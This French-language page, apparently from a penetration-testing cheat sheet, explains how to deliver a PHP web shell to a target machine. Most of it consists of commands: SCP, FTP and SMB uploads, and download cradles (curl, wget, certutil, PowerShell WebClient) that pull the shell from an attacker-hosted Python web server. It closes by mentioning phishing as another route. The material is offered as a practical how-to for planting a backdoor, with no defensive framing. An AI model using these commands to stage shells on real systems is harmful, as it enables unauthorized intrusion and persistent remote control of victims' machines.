🚚Livrer un shell
📚 SCP (Secure Copy Protocol)
Utilisez SCP pour transférer un fichier depuis votre machine vers la cible. Assurez-vous d'avoir les droits d'accès appropriés sur la cible.
scp chemin/vers/your_shell.php utilisateur@cible_ip:/chemin/sur/la/cible
chemin/vers/your_shell.php
: Le chemin local vers votre fichier shell.utilisateur
: Votre nom d'utilisateur sur la cible.cible_ip
: L'adresse IP de la cible./chemin/sur/la/cible
: Le chemin sur la cible où vous souhaitez uploader le shell.
📋 Serveur Web
Si vous avez accès à un serveur Web sur la cible, vous pouvez également utiliser un serveur Web temporaire pour héberger votre shell et permettre à la cible de le télécharger.
Sur votre machine, démarrez un serveur Web temporaire (par exemple, avec Python) dans le répertoire où se trouve votre shell :
cd chemin/vers/repertoire python3 -m http.server 8080
Remplacez
chemin/vers/repertoire
par le chemin vers le répertoire contenant votre shell.Le port 8080 est utilisé ici, mais vous pouvez utiliser un autre port si nécessaire.
Sur la cible, utilisez
curl
ouwget
pour télécharger le shell depuis le serveur Web temporaire :
curl http://votre_ip:8080/your_shell.php -o your_shell.php
ou
wget http://votre_ip:8080/your_shell.php
Remplacez
votre_ip
par l'adresse IP de votre machine.
🛠️ Utilisation de Certutil (Windows)
Certutil est un utilitaire en ligne de commande sur Windows qui peut être utilisé pour télécharger des fichiers.
Sur votre machine, démarrez un serveur Web temporaire :
shCopier le codecd chemin/vers/repertoire python3 -m http.server 8080
Sur la cible, utilisez
certutil
pour télécharger le shell :shCopier le codecertutil -urlcache -split -f http://votre_ip:8080/your_shell.php your_shell.php
Remplacez
votre_ip
par l'adresse IP de votre machine.
🚀 PowerShell
PowerShell peut également être utilisé pour télécharger des fichiers.
Sur votre machine, démarrez un serveur Web temporaire :
shCopier le codecd chemin/vers/repertoire python3 -m http.server 8080
Sur la cible, utilisez PowerShell pour télécharger le shell :
powershellCopier le codeInvoke-WebRequest -Uri http://votre_ip:8080/your_shell.php -OutFile your_shell.php
ou
powershellCopier le code(New-Object System.Net.WebClient).DownloadFile('http://votre_ip:8080/your_shell.php', 'your_shell.php')
🕵️ FTP
Si le service FTP est disponible sur la cible, vous pouvez transférer des fichiers en utilisant des commandes FTP.
Sur la cible, démarrez une session FTP et connectez-vous au serveur :
ftp votre_ip
Une fois connecté, utilisez les commandes FTP pour uploader le shell :
put chemin/vers/your_shell.php
Remplacez
chemin/vers/your_shell.php
par le chemin local vers votre fichier shell.
🧰 SMB
Si le partage de fichiers SMB est disponible, vous pouvez utiliser smbclient
pour transférer des fichiers.
Sur votre machine, utilisez
smbclient
pour accéder au partage SMB de la cible :smbclient //cible_ip/partage -U utilisateur
Une fois connecté, utilisez les commandes SMB pour uploader le shell :
put chemin/vers/your_shell.php
Remplacez
chemin/vers/your_shell.php
par le chemin local vers votre fichier shell.
Autres lmethodes : phishing, formulaire ou page web.
Last updated